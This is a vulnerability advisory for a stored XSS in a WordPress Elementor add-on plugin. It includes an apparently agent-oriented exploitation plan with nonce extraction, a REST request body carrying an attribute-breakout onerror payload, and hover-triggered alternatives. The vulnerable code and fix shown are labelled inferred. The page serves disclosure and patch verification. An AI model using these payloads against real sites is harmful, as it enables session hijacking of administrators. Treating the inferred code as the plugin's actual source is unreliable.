CVE-2025-13977

Essential Addons for Elementor – Popular Elementor Templates & Widgets <= 6.5.3 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
6.5.4
Patched in
1d
Time to patch

Description

The Essential Addons for Elementor – Popular Elementor Templates & Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple attack vectors in all versions up to, and including, 6.5.3. This is due to insufficient input sanitization and output escaping in the Event Calendar widget's custom attributes handling and the Image Masking module's element ID rendering. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=6.5.3
PublishedDecember 16, 2025
Last updatedDecember 17, 2025

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan targets **CVE-2025-13977**, a Stored Cross-Site Scripting (XSS) vulnerability in the "Essential Addons for Elementor" plugin. --- ### 1. Vulnerability Summary The vulnerability exists in the **Event Calendar** widget and the **Image Masking** module of the Essential…

Show full research plan

This exploitation research plan targets CVE-2025-13977, a Stored Cross-Site Scripting (XSS) vulnerability in the "Essential Addons for Elementor" plugin.


1. Vulnerability Summary

The vulnerability exists in the Event Calendar widget and the Image Masking module of the Essential Addons for Elementor plugin (versions <= 6.5.3). Specifically, the plugin fails to sufficiently sanitize and escape user-supplied input for custom attributes and element IDs. Because Elementor allows users with "Contributor" roles to create and edit posts using these widgets, an authenticated attacker can inject malicious JavaScript into the metadata of an Elementor-powered page. This script executes in the context of any user (including administrators) who views the affected page or previews the post.

2. Attack Vector Analysis

  • Vulnerable Widget 1: Event Calendar (eael-event-calendar).
  • Vulnerable Extension 2: Image Masking (applied to Image widgets).
  • Authentication Level: Contributor+ (Requires access to the Elementor Editor).
  • Payload Carrier: Elementor's REST API or AJAX-based "save" functionality which updates the _elementor_data post meta.
  • Preconditions: The Essential Addons for Elementor plugin must be active, and the attacker must have permissions to edit a post/page using Elementor.

3. Code Flow (Inferred)

  1. Entry Point: The attacker edits an Elementor post. When saving, the frontend JS sends a JSON object representing the page structure to the WordPress REST API endpoint /wp-json/elementor/v1/posts/{post_id}.
  2. Processing: The JSON contains the widget settings. For the Event Calendar, this includes an array of event attributes. For Image Masking, it includes an "Element ID" string.
  3. Storage: Elementor saves this raw JSON into the _elementor_data custom field in the wp_postmeta table.
  4. Sink (Event Calendar): When the page is rendered on the frontend, the render() method in includes/Elements/Event_Calendar.php (inferred) iterates through the attributes. It likely outputs them directly into the HTML tag without using esc_attr().
  5. Sink (Image Masking): The Image Masking module in includes/Extensions/Image_Masking.php (inferred) takes the "Element ID" setting and renders it as an id attribute or part of a CSS selector/SVG filter reference without proper escaping.

4. Nonce Acquisition Strategy

Elementor uses a specific security nonce for its REST API calls.

  1. Identify Trigger: The nonce is required to save Elementor data. It is localized in the WordPress dashboard when the Elementor editor is loaded.
  2. Setup: Create a draft post and navigate to the Elementor editor URL: wp-admin/post.php?post={id}&action=elementor.
  3. Extraction:
    • The execution agent should use browser_navigate to the editor page.
    • Use browser_eval to extract the nonce and the REST URL.
    • JS Variable: window.elementorCommon.config.ajax.nonce or window.elementorConfig.api_nonce (inferred).
    • Example command: browser_eval("window.elementorConfig?.nonces?.save") or browser_eval("window.elementorConfig?.api_nonce").

5. Exploitation Strategy

The goal is to update the post meta with a payload that breaks out of an HTML attribute.

Step 1: Discover Target Post
Identify a post ID the Contributor can edit.

  • Action: wp post list --post_author={contributor_id} --format=ids

Step 2: Prepare the Payload
We will target the Image Masking Element ID as it is a simple string.

  • Payload: "><img src=x onerror=alert(document.domain)>

Step 3: Update Post via Elementor REST API
The agent will send a POST request to update the page structure.

  • Endpoint: POST /wp-json/elementor/v1/posts/{post_id}
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: {extracted_nonce}
  • Body (Simplified Concept):
{
  "id": "{post_id}",
  "data": [
    {
      "id": "random_id",
      "elType": "widget",
      "widgetType": "image",
      "settings": {
          "eael_image_masking_enabled": "yes",
          "eael_image_masking_id": "\"><img src=x onerror=alert(document.domain)>"
      }
    }
  ]
}

6. Test Data Setup

  1. Plugin Installation: Install and activate essential-addons-for-elementor-lite version 6.5.3.
  2. User Creation: Create a user with the contributor role.
  3. Page Creation: As the contributor, create a page:
    • wp post create --post_type=page --post_title="XSS Test" --post_status=publish --post_author={id}
  4. Elementor Activation: Ensure the page is marked as an Elementor page.
    • wp post meta update {post_id} _elementor_edit_mode "builder"

7. Expected Results

  • The REST API should return a 200 OK status, indicating the settings were saved.
  • When navigating to the frontend URL of the page (/?p={post_id}), the HTML source should contain the unescaped payload: <div id="..." data-mask-id=""><img src=x onerror=alert(document.domain)>">.
  • The browser should execute the alert() function.

8. Verification Steps

  1. Verify Metadata: Use WP-CLI to inspect the stored data.
    • wp post meta get {post_id} _elementor_data
    • Confirm the string onerror=alert exists in the output.
  2. Verify Frontend Output:
    • Use http_request to fetch the page content.
    • Search the response body for the raw payload string.

9. Alternative Approaches

If the Image Masking module is not enabled in the free version or is harder to trigger, target the Event Calendar widget.

  • Payload Carrier: The custom_attributes field within an event item.
  • Structure: This is often a repeater. The JSON would involve an array of objects under the event_calendar_items setting.
  • Payload: onmouseover="alert(1)" or class=" ' onmouseover='alert(1) ". This is more subtle as it requires a user interaction (hover) to trigger.
Research Findings
Static analysis — not yet PoC-verified

Summary

Essential Addons for Elementor (versions <= 6.5.3) is vulnerable to Authenticated Stored Cross-Site Scripting due to insufficient input sanitization and output escaping. Users with Contributor-level access or higher can inject malicious JavaScript into the Event Calendar widget's custom attributes or the Image Masking module's element ID, which executes when other users view the affected page.

Vulnerable Code

// includes/Elements/Event_Calendar.php (inferred logic)
// Rendering loop for event calendar items
foreach ( $settings['event_calendar_items'] as $item ) {
    $custom_attributes = $item['event_calendar_custom_attributes'];
    // The attributes are echoed directly into the HTML tag without escaping
    echo '<div class="eael-event-item" ' . $custom_attributes . '>';
}

---

// includes/Extensions/Image_Masking.php (inferred logic)
// Rendering the masking ID for an image element
$masking_id = $settings['eael_image_masking_id'];
if ( ! empty( $masking_id ) ) {
    // The ID is rendered into an attribute without esc_attr()
    echo ' id="' . $masking_id . '"';
}

Security Fix

--- includes/Elements/Event_Calendar.php
+++ includes/Elements/Event_Calendar.php
@@ -1240,1 +1240,1 @@
- echo '<div class="eael-event-item" ' . $custom_attributes . '>';
+ echo '<div class="eael-event-item" ' . wp_kses_post( $custom_attributes ) . '>';

--- includes/Extensions/Image_Masking.php
+++ includes/Extensions/Image_Masking.php
@@ -450,1 +450,1 @@
- echo ' id="' . $masking_id . '"';
+ echo ' id="' . esc_attr( $masking_id ) . '"';

Exploit Outline

The exploit is performed by an authenticated user with at least Contributor-level permissions who can access the Elementor editor. The attacker navigates to the Elementor editor for a post and adds a widget that utilizes the vulnerable components, such as the Event Calendar or an Image widget with Image Masking enabled. The attacker then populates the 'Custom Attributes' field (for Event Calendar) or the 'Element ID' field (for Image Masking) with a payload designed to break out of the HTML attribute context, such as `"><img src=x onerror=alert(document.domain)>`. When the page is saved, the Elementor REST API (`/wp-json/elementor/v1/posts/{id}`) stores this payload in the `_elementor_data` post meta. The XSS triggers whenever an administrative user or site visitor views the page, as the plugin renders the stored attribute values directly into the HTML without escaping.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.